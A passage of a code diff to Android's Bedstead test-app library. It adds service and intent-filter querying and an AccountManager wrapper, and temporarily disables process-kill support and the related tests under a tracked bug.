 import java.util.Set;
@@ -30,6 +31,7 @@
     final Bundle mMetadata = new Bundle();
     final Set<String> mPermissions = new HashSet<>();
     final Set<ActivityInfo> mActivities = new HashSet<>();
+    final Set<ServiceInfo> mServices = new HashSet<>();
 
     @Override
     public String toString() {
@@ -39,6 +41,7 @@
                 + ", mMetadata=" + mMetadata
                 + ", mPermissions=" + mPermissions
                 + ", mActivities=" + mActivities
+                + ", mServices=" + mServices
                 + '}';
     }
 }
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstanceReference.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstanceReference.java
index bd9a615..248da18 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstanceReference.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstanceReference.java
@@ -16,6 +16,9 @@
 
 package com.android.bedstead.testapp;
 
+import android.accounts.AccountManager;
+import android.accounts.RemoteAccountManager;
+import android.accounts.RemoteAccountManagerWrapper;
 import android.app.admin.DevicePolicyManager;
 import android.app.admin.RemoteDevicePolicyManager;
 import android.app.admin.RemoteDevicePolicyManagerWrapper;
@@ -40,7 +43,6 @@
 import android.os.UserManager;
 
 import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.packages.ProcessReference;
 import com.android.bedstead.nene.users.UserReference;
 
@@ -65,9 +67,9 @@
     private final UserReference mUser;
     private final CrossProfileConnector mConnector;
     private final Map<IntentFilter, Long> mRegisteredBroadcastReceivers = new HashMap<>();
-    private boolean mKeepAliveManually = false;
     private final ProfileTestAppController mTestAppController;
     private final TestAppActivities mTestAppActivities;
+    private boolean mKeepAliveManually = false;
 
     /**
      * Use {@link TestApp#install} or {@link TestApp#instance} to get an instance of
@@ -157,7 +159,6 @@
 
     /**
      * Unregister the receiver
-     * @param intentFilter
      */
     public TestAppInstanceReference unregisterReceiver(IntentFilter intentFilter) {
         if (!mRegisteredBroadcastReceivers.containsKey(intentFilter)) {
@@ -219,25 +220,26 @@
         return this;
     }
 
-    /**
-     * Immediately force stops the app.
-     *
-     * <p>This will also stop keeping the target app alive (see {@link #stopKeepAlive()}.
-     */
-    public TestAppInstanceReference stop() {
-        stopKeepAlive();
-
-        ProcessReference process = mTestApp.pkg().runningProcess(mUser);
-        if (process != null) {
-            try {
-                process.kill();
-            } catch (NeneException e) {
-                throw new NeneException("Error killing process... process is " + process(), e);
-            }
-        }
-
-        return this;
-    }
+    // TODO(b/203758521): Restore functionality of killing process
+//    /**
+//     * Immediately force stops the app.
+//     *
+//     * <p>This will also stop keeping the target app alive (see {@link #stopKeepAlive()}.
+//     */
+//    public TestAppInstanceReference stop() {
+//        stopKeepAlive();
+//
+//        ProcessReference process = mTestApp.pkg().runningProcess(mUser);
+//        if (process != null) {
+//            try {
+//                process.kill();
+//            } catch (NeneException e) {
+//                throw new NeneException("Error killing process... process is " + process(), e);
+//            }
+//        }
+//
+//        return this;
+//    }
 
     /**
      * Gets the {@link ProcessReference} of the app, if any.
@@ -331,6 +333,15 @@
         return new RemoteLauncherAppsWrapper(mConnector);
     }
 
+    /**
+     * Access {@link AccountManager} using this test app.
+     *
+     * <p>Almost all methods are available. Those that are not will be missing from the interface.
+     */
+    public RemoteAccountManager accountManager() {
+        return new RemoteAccountManagerWrapper(mConnector);
+    }
+
     @Override
     public String toString() {
         return "TestAppInstanceReference{"
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppProvider.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppProvider.java
index 5e7e9de..0ce0d8e 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppProvider.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppProvider.java
@@ -17,14 +17,17 @@
 package com.android.bedstead.testapp;
 
 import android.content.Context;
+import android.content.IntentFilter;
 import android.util.Log;
 
 import com.android.bedstead.nene.TestApis;
 import com.android.queryable.info.ActivityInfo;
+import com.android.queryable.info.ServiceInfo;
 
 import java.io.IOException;
 import java.io.InputStream;
 import java.util.HashSet;
+import java.util.List;
 import java.util.Set;
 
 /** Entry point to Test App. Used for querying for {@link TestApp} instances. */
@@ -96,12 +99,48 @@
             details.mActivities.add(ActivityInfo.builder()
                     .activityClass(activityEntry.getName())
                     .exported(activityEntry.getExported())
+                    .intentFilters(intentFilterSetFromProtoList(
+                            activityEntry.getIntentFiltersList()))
+                    .build());
+        }
+
+        for (int i = 0; i < app.getServicesCount(); i++) {
+            TestappProtos.Service serviceEntry = app.getServices(i);
+            details.mServices.add(ServiceInfo.builder()
+                    .serviceClass(serviceEntry.getName())
+                    .intentFilters(intentFilterSetFromProtoList(
+                            serviceEntry.getIntentFiltersList()))
                     .build());
         }
 
         mTestApps.add(details);
     }
 
+    private Set<IntentFilter> intentFilterSetFromProtoList(
+            List<TestappProtos.IntentFilter> list) {
+        Set<IntentFilter> filterInfoSet = new HashSet<>();
+
+        for (TestappProtos.IntentFilter filter : list) {
+            IntentFilter filterInfo = intentFilterFromProto(filter);
+            filterInfoSet.add(filterInfo);
+        }
+
+        return filterInfoSet;
+    }
+
+    private IntentFilter intentFilterFromProto(TestappProtos.IntentFilter filterProto) {
+        IntentFilter filter = new IntentFilter();
+
+        for (String action : filterProto.getActionsList()) {
+            filter.addAction(action);
+        }
+        for (String category : filterProto.getCategoriesList()) {
+            filter.addCategory(category);
+        }
+
+        return filter;
+    }
+
     private String getApkNameWithoutSuffix(String apkName) {
         return apkName.split("\\.", 2)[0];
     }
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
index 820f9a0..6699a6d 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
@@ -18,6 +18,7 @@
 
 import com.android.queryable.Queryable;
 import com.android.queryable.info.ActivityInfo;
+import com.android.queryable.info.ServiceInfo;
 import com.android.queryable.queries.ActivityQuery;
 import com.android.queryable.queries.BooleanQuery;
 import com.android.queryable.queries.BooleanQueryHelper;
@@ -25,14 +26,12 @@
 import com.android.queryable.queries.BundleQueryHelper;
 import com.android.queryable.queries.IntegerQuery;
 import com.android.queryable.queries.IntegerQueryHelper;
+import com.android.queryable.queries.ServiceQuery;
 import com.android.queryable.queries.SetQuery;
 import com.android.queryable.queries.SetQueryHelper;
 import com.android.queryable.queries.StringQuery;
 import com.android.queryable.queries.StringQueryHelper;
 
-import java.util.ArrayList;
-import java.util.List;
-
 /** Builder for progressively building {@link TestApp} queries. */
 public final class TestAppQueryBuilder implements Queryable {
     private final TestAppProvider mProvider;
@@ -47,6 +46,8 @@
     BooleanQueryHelper<TestAppQueryBuilder> mTestOnly = new BooleanQueryHelper<>(this);
     SetQueryHelper<TestAppQueryBuilder, ActivityInfo, ActivityQuery<?>> mActivities =
             new SetQueryHelper<>(this);
+    SetQueryHelper<TestAppQueryBuilder, ServiceInfo, ServiceQuery<?>> mServices =
+            new SetQueryHelper<>(this);
 
     TestAppQueryBuilder(TestAppProvider provider) {
         if (provider == null) {
@@ -109,12 +110,18 @@
     }
 
     /**
-     * Query for a {@link TestApp} by the testOnly attribute.
+     * Query for a {@link TestApp} by its activities.
      */
     public SetQuery<TestAppQueryBuilder, ActivityInfo, ActivityQuery<?>> whereActivities() {
         return mActivities;
     }
 
+    /**
+     * Query for a {@link TestApp} by its services.
+     */
+    public SetQuery<TestAppQueryBuilder, ServiceInfo, ServiceQuery<?>> whereServices() {
+        return mServices;
+    }
 
     /**
      * Get the {@link TestApp} matching the query.
@@ -167,6 +174,10 @@
             return false;
         }
 
+        if (!SetQueryHelper.matches(mServices, details.mServices)) {
+            return false;
+        }
+
         if (!SetQueryHelper.matches(mPermissions, details.mPermissions)) {
             return false;
         }
@@ -194,6 +205,7 @@
                 mMaxSdkVersion.describeQuery("maxSdkVersion"),
                 mTargetSdkVersion.describeQuery("targetSdkVersion"),
                 mActivities.describeQuery("activities"),
+                mServices.describeQuery("services"),
                 mPermissions.describeQuery("permissions"),
                 mTestOnly.describeQuery("testOnly")
         ) + "}";
diff --git a/common/device-side/bedstead/testapp/src/library/main/proto/testapp_protos.proto b/common/device-side/bedstead/testapp/src/library/main/proto/testapp_protos.proto
index 583eb72..80b13ec 100644
--- a/common/device-side/bedstead/testapp/src/library/main/proto/testapp_protos.proto
+++ b/common/device-side/bedstead/testapp/src/library/main/proto/testapp_protos.proto
@@ -34,16 +34,14 @@
 }
 
 message IntentFilter {
-  repeated Action actions = 1;
-}
-
-message Action {
-  string name = 1;
+  repeated string actions = 1;
+  repeated string categories = 2;
 }
 
 message Service {
   string name = 1;
   bool exported = 2;
+  repeated IntentFilter intent_filters = 3;
 }
 
 message Metadata {
diff --git a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java
index 57d2f30..4ff1c6e 100644
--- a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java
+++ b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java
@@ -187,7 +187,6 @@
                     extractClassesFromAnnotation(
                             processingEnv.getTypeUtils(), testAppReceiver::systemServiceClasses);
 
-
             generateTargetedRemoteActivityInterface(neneActivityInterface);
             generateTargetedRemoteActivityImpl(neneActivityInterface);
             generateTargetedRemoteActivityWrapper(neneActivityInterface);
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppAppComponentFactoryTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppAppComponentFactoryTest.java
index 2e21db8..bbfc2f4 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppAppComponentFactoryTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppAppComponentFactoryTest.java
@@ -19,14 +19,13 @@
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 
-import static com.google.common.truth.Truth.assertThat;
+import static com.android.eventlib.truth.EventLogsSubject.assertThat;
 
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 
 import com.android.bedstead.nene.TestApis;
-import com.android.eventlib.EventLogs;
 import com.android.eventlib.events.activities.ActivityCreatedEvent;
 import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
 
@@ -63,11 +62,9 @@
         intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
         sContext.startActivity(intent);
 
-        EventLogs<ActivityCreatedEvent> eventLogs =
-                ActivityCreatedEvent.queryPackage(sContext.getPackageName())
+        assertThat(ActivityCreatedEvent.queryPackage(sContext.getPackageName())
                         .whereActivity().activityClass().className()
-                            .isEqualTo(DECLARED_ACTIVITY_WITH_NO_CLASS);
-        assertThat(eventLogs.poll()).isNotNull();
+                            .isEqualTo(DECLARED_ACTIVITY_WITH_NO_CLASS)).eventOccurred();
     }
 
     @Test
@@ -77,10 +74,9 @@
 
         sContext.sendBroadcast(intent);
 
-        EventLogs<BroadcastReceivedEvent> eventLogs = BroadcastReceivedEvent
+        assertThat(BroadcastReceivedEvent
                 .queryPackage(sContext.getPackageName())
                 .whereBroadcastReceiver().receiverClass().className()
-                    .isEqualTo(GENERATED_RECEIVER_CLASS_NAME);
-        assertThat(eventLogs.poll()).isNotNull();
+                .isEqualTo(GENERATED_RECEIVER_CLASS_NAME)).eventOccurred();
     }
 }
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java
index 2834a5d..c90cc45 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java
@@ -39,7 +39,6 @@
 import com.android.eventlib.EventLogs;
 import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
 
-import org.junit.Before;
 import org.junit.ClassRule;
 import org.junit.Ignore;
 import org.junit.Rule;
@@ -57,6 +56,12 @@
 
     private static final Context sContext = TestApis.context().instrumentedContext();
     private static final UserReference sUser = TestApis.users().instrumented();
+
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    private static final TestApp sTestApp = sTestAppProvider.query()
+            .whereActivities().isNotEmpty()
+            .get();
+
     private static final String INTENT_ACTION = "com.android.bedstead.testapp.test_action";
     private static final IntentFilter INTENT_FILTER = new IntentFilter(INTENT_ACTION);
     private static final Intent INTENT = new Intent(INTENT_ACTION);
@@ -66,74 +71,63 @@
     private static final Duration SHORT_TIMEOUT = Duration.ofSeconds(5);
     private TestAppProvider mTestAppProvider;
 
-    @Before
-    public void setup() {
-        mTestAppProvider = new TestAppProvider();
-    }
-
     @Test
     public void user_returnsUserReference() {
-        TestApp testApp = mTestAppProvider.any();
-        TestAppInstanceReference testAppInstance = testApp.instance(sUser);
+        TestAppInstanceReference testAppInstance = sTestApp.instance(sUser);
 
         assertThat(testAppInstance.user()).isEqualTo(sUser);
     }
 
     @Test
     public void testApp_returnsTestApp() {
-        TestApp testApp = mTestAppProvider.any();
-        TestAppInstanceReference testAppInstance = testApp.instance(sUser);
+        TestAppInstanceReference testAppInstance = sTestApp.instance(sUser);
 
-        assertThat(testAppInstance.testApp()).isEqualTo(testApp);
+        assertThat(testAppInstance.testApp()).isEqualTo(sTestApp);
     }
 
     @Test
     public void activities_any_returnsActivity() {
-        TestApp testApp = mTestAppProvider.query().whereActivities().isNotEmpty().get();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             assertThat(testAppInstance.activities().any()).isNotNull();
         }
     }
 
     @Test
     public void uninstall_uninstalls() {
-        TestApp testApp = mTestAppProvider.any();
-        TestAppInstanceReference testAppInstance = testApp.install(sUser);
+        TestAppInstanceReference testAppInstance = sTestApp.install(sUser);
 
         testAppInstance.uninstall();
 
-        assertThat(TestApis.packages().find(testApp.packageName())
+        assertThat(TestApis.packages().find(sTestApp.packageName())
                 .installedOnUser(sUser)).isFalse();
     }
 
     @Test
     public void autoclose_uninstalls() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             // Intentionally empty
         }
 
-        assertThat(TestApis.packages().find(testApp.packageName())
+        assertThat(TestApis.packages().find(sTestApp.packageName())
                 .installedOnUser(sUser)).isFalse();
     }
 
     @Test
     public void keepAlive_notInstalled_throwsException() {
-        TestApp testApp = mTestAppProvider.any();
-        TestAppInstanceReference testAppInstance = testApp.instance(sUser);
+        TestAppInstanceReference testAppInstance = sTestApp.instance(sUser);
 
         assertThrows(IllegalStateException.class, testAppInstance::keepAlive);
     }
 
     @Test
+    @Ignore("b/203758521 Need to re-add support for killing processes")
     public void killProcess_keepAlive_processIsRunningAgain() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.keepAlive();
 
-            testAppInstance.process().kill();
+//            testAppInstance.process().kill();
 
-            Poll.forValue("running process", () -> testApp.pkg().runningProcess(sUser))
+            Poll.forValue("running process", () -> sTestApp.pkg().runningProcess(sUser))
                     .toNotBeNull()
                     .errorOnFail()
                     .await();
@@ -144,42 +138,40 @@
     // unbounded amount of time
 
     @Test
+    @Ignore("b/203758521 need to re-add support for killing processes")
     public void stop_processIsNotRunning() {
-        TestApp testApp = mTestAppProvider.query().whereActivities().isNotEmpty().get();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.activities().any().start();
 
-            testAppInstance.stop();
+//            testAppInstance.stop();
 
-            assertThat(testApp.pkg().runningProcesses()).isEmpty();
+            assertThat(sTestApp.pkg().runningProcesses()).isEmpty();
         }
     }
 
     @Test
+    @Ignore("b/203758521 need to re-add support for killing processes")
     public void stop_previouslyCalledKeepAlive_processDoesNotRestart() {
-        TestApp testApp = mTestAppProvider.query().whereActivities().isNotEmpty().get();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.activities().any().start();
             testAppInstance.keepAlive();
 
-            testAppInstance.stop();
+//            testAppInstance.stop();
 
-            assertThat(testApp.pkg().runningProcesses()).isEmpty();
+            assertThat(sTestApp.pkg().runningProcesses()).isEmpty();
         }
     }
 
     @Test
     public void process_isNotRunning_returnsNull() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             assertThat(testAppInstance.process()).isNull();
         }
     }
 
     @Test
     public void process_isRunning_isNotNull() {
-        TestApp testApp = mTestAppProvider.query().whereActivities().isNotEmpty().get();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.activities().any().start();
 
             Poll.forValue("TestApp process", testAppInstance::process)
@@ -191,8 +183,7 @@
 
     @Test
     public void registerReceiver_receivesBroadcast() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.registerReceiver(INTENT_FILTER);
 
             sContext.sendBroadcast(INTENT);
@@ -205,8 +196,7 @@
 
     @Test
     public void registerReceiver_multipleIntentFilters_receivesAllMatchingBroadcasts() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.registerReceiver(INTENT_FILTER);
             testAppInstance.registerReceiver(INTENT_FILTER_2);
 
@@ -224,26 +214,25 @@
 
     @Test
     public void registerReceiver_processIsRunning() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
 
             testAppInstance.registerReceiver(INTENT_FILTER);
 
-            assertThat(testApp.pkg().runningProcess(sUser)).isNotNull();
+            assertThat(sTestApp.pkg().runningProcess(sUser)).isNotNull();
         }
     }
 
     @Test
+    @Ignore("b/203758521 need to re-add support for killing processes")
     public void stop_registeredReceiver_doesNotReceiveBroadcast() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.registerReceiver(INTENT_FILTER);
 
-            testAppInstance.stop();
+//            testAppInstance.stop();
             sContext.sendBroadcast(INTENT);
 
             EventLogs<BroadcastReceivedEvent> logs =
-                    BroadcastReceivedEvent.queryPackage(testApp.packageName())
+                    BroadcastReceivedEvent.queryPackage(sTestApp.packageName())
                             .whereIntent().action().isEqualTo(INTENT_ACTION);
             assertThat(logs.poll(SHORT_TIMEOUT)).isNull();
         }
@@ -251,15 +240,14 @@
 
     @Test
     public void unregisterReceiver_registeredReceiver_doesNotReceiveBroadcast() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.registerReceiver(INTENT_FILTER);
 
             testAppInstance.unregisterReceiver(INTENT_FILTER);
             sContext.sendBroadcast(INTENT);
 
             EventLogs<BroadcastReceivedEvent> logs =
-                    BroadcastReceivedEvent.queryPackage(testApp.packageName())
+                    BroadcastReceivedEvent.queryPackage(sTestApp.packageName())
                             .whereIntent().action().isEqualTo(INTENT_ACTION);
             assertThat(logs.poll(SHORT_TIMEOUT)).isNull();
         }
@@ -267,8 +255,7 @@
 
     @Test
     public void unregisterReceiver_doesNotUnregisterOtherReceivers() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.registerReceiver(INTENT_FILTER);
             testAppInstance.registerReceiver(INTENT_FILTER_2);
 
@@ -277,10 +264,10 @@
             sContext.sendBroadcast(INTENT_2);
 
             EventLogs<BroadcastReceivedEvent> logs =
-                    BroadcastReceivedEvent.queryPackage(testApp.packageName())
+                    BroadcastReceivedEvent.queryPackage(sTestApp.packageName())
                             .whereIntent().action().isEqualTo(INTENT_ACTION);
             EventLogs<BroadcastReceivedEvent> logs2 =
-                    BroadcastReceivedEvent.queryPackage(testApp.packageName())
+                    BroadcastReceivedEvent.queryPackage(sTestApp.packageName())
                             .whereIntent().action().isEqualTo(INTENT_ACTION_2);
             assertThat(logs.poll(SHORT_TIMEOUT)).isNull();
             assertThat(logs2.poll()).isNotNull();
@@ -289,23 +276,21 @@
 
     @Test
     public void keepAlive_processIsRunning() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
 
             testAppInstance.keepAlive();
 
-            assertThat(testApp.pkg().runningProcess(sUser)).isNotNull();
+            assertThat(sTestApp.pkg().runningProcess(sUser)).isNotNull();
         }
     }
 
     @Test
-    @Ignore("b/195626250 Disabled until logging surviving reboots is restored")
+    @Ignore("b/203758521 need to re-add support for killing processes")
     public void registerReceiver_appIsKilled_stillReceivesBroadcast() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.registerReceiver(INTENT_FILTER);
-            testApp.pkg().runningProcess(sUser).kill();
-            Poll.forValue("running process", () -> testApp.pkg().runningProcess(sUser))
+//            testApp.pkg().runningProcess(sUser).kill();
+            Poll.forValue("running process", () -> sTestApp.pkg().runningProcess(sUser))
                     .toNotBeNull()
                     .errorOnFail()
                     .await();
@@ -313,7 +298,7 @@
             sContext.sendBroadcast(INTENT);
 
             EventLogs<BroadcastReceivedEvent> logs =
-                    BroadcastReceivedEvent.queryPackage(testApp.packageName())
+                    BroadcastReceivedEvent.queryPackage(sTestApp.packageName())
                             .whereIntent().action().isEqualTo(INTENT_ACTION);
             assertThat(logs.poll()).isNotNull();
         }
@@ -322,8 +307,7 @@
     @Test
     @RequireSdkVersion(min = S, reason = "isSafeOperation only available on S+")
     public void devicePolicyManager_returnsUsableInstance() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             // Arbitrary call which does not require specific permissions to confirm no crash
             testAppInstance.devicePolicyManager()
                     .isSafeOperation(OPERATION_SAFETY_REASON_DRIVING_DISTRACTION);
@@ -332,8 +316,7 @@
 
     @Test
     public void userManager_returnsUsableInstance() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             // Arbitrary call which does not require specific permissions to confirm no crash
             testAppInstance.userManager().getUserProfiles();
         }
@@ -342,8 +325,7 @@
     @Test
     @RequireSdkVersion(min = Q, reason = "Wifimanager API only available on Q+")
     public void wifiManager_returnsUsableInstance() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             // Arbitrary call which does not require specific permissions to confirm no crash
             testAppInstance.wifiManager().getMaxNumberOfNetworkSuggestionsPerApp();
         }
@@ -351,8 +333,7 @@
 
     @Test
     public void hardwarePropertiesManager_returnsUsableInstance() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             // Arbitrary call - there are no methods on this service which don't require permissions
             assertThrows(SecurityException.class, () -> {
                 testAppInstance.hardwarePropertiesManager().getCpuUsages();
@@ -362,25 +343,30 @@
 
     @Test
     public void packageManager_returnsUsableInstance() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             assertThat(testAppInstance.packageManager().hasSystemFeature("")).isFalse();
         }
     }
 
     @Test
     public void crossProfileApps_returnsUsableInstance() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             assertThat(testAppInstance.crossProfileApps().getTargetUserProfiles()).isEmpty();
         }
     }
 
     @Test
     public void launcherApps_returnsUsableInstance() {
-        TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
             assertThat(testAppInstance.launcherApps().hasShortcutHostPermission()).isFalse();
         }
     }
+
+    @Test
+    public void accountManager_returnsUsableInstance() {
+        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+            // Arbitrary call which does not require specific permissions to confirm no crash
+            assertThat(testAppInstance.accountManager().getAccounts()).isNotNull();
+        }
+    }
 }
diff --git a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
index 7e138e6..98cb277 100644
--- a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
+++ b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
@@ -16,6 +16,7 @@
 
 package com.android.bedstead.testapp;
 
+import android.accounts.AccountManager;
 import android.app.Activity;
 import android.app.AppComponentFactory;
 import android.app.Service;
@@ -43,7 +44,8 @@
                 WifiManager.class,
                 PackageManager.class,
                 CrossProfileApps.class,
-                LauncherApps.class
+                LauncherApps.class,
+                AccountManager.class
         }
 )public final class TestAppAppComponentFactory extends AppComponentFactory {
 
diff --git a/common/device-side/bedstead/testapp/tools/index/index_testapps.py b/common/device-side/bedstead/testapp/tools/index/index_testapps.py
index 0a8f1c9..b4aee78 100644
--- a/common/device-side/bedstead/testapp/tools/index/index_testapps.py
+++ b/common/device-side/bedstead/testapp/tools/index/index_testapps.py
@@ -17,7 +17,7 @@
 import subprocess
 import queue
 from src.library.main.proto.testapp_protos_pb2 import TestAppIndex, AndroidApp, UsesSdk,\
-    Permission, Activity, IntentFilter, Action, Service, Metadata
+    Permission, Activity, IntentFilter, Service, Metadata
 
 ELEMENT = "E"
 ATTRIBUTE = "A"
@@ -184,22 +184,29 @@
         parse_intent_filters(activity_element, activity)
         android_app.activities.append(activity)
 
-def parse_intent_filters(activity_element, activity):
-    for intent_filter_element in find_elements(activity_element.children, "intent-filter"):
+def parse_intent_filters(element, parent):
+    for intent_filter_element in find_elements(element.children, "intent-filter"):
         intent_filter = IntentFilter()
+
         parse_intent_filter_actions(intent_filter_element, intent_filter)
-        activity.intent_filters.append(intent_filter)
+        parse_intent_filter_category(intent_filter_element, intent_filter)
+        parent.intent_filters.append(intent_filter)
 
 def parse_intent_filter_actions(intent_filter_element, intent_filter):
     for action_element in find_elements(intent_filter_element.children, "action"):
-        action = Action()
-        action.name = action_element.attributes["name"]
+        action = action_element.attributes["name"]
         intent_filter.actions.append(action)
 
+def parse_intent_filter_category(intent_filter_element, intent_filter):
+    for category_element in find_elements(intent_filter_element.children, "category"):
+        category = category_element.attributes["name"]
+        intent_filter.categories.append(category)
+
 def parse_services(application_element, android_app):
     for service_element in find_elements(application_element.children, "service"):
         service = Service()
         service.name = service_element.attributes["name"]
+        parse_intent_filters(service_element, service)
         android_app.services.append(service)
 
 def parse_metadata(application_element, android_app):
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
index ee33f42..49208b1 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
@@ -312,7 +312,7 @@
 
     public void addException(DefaultPermissionGrantException exception,
             Set<String> runtimePermNames, Map<String, PackageInfo> packageInfos,
-            SparseArray<UidState> outUidStates) {
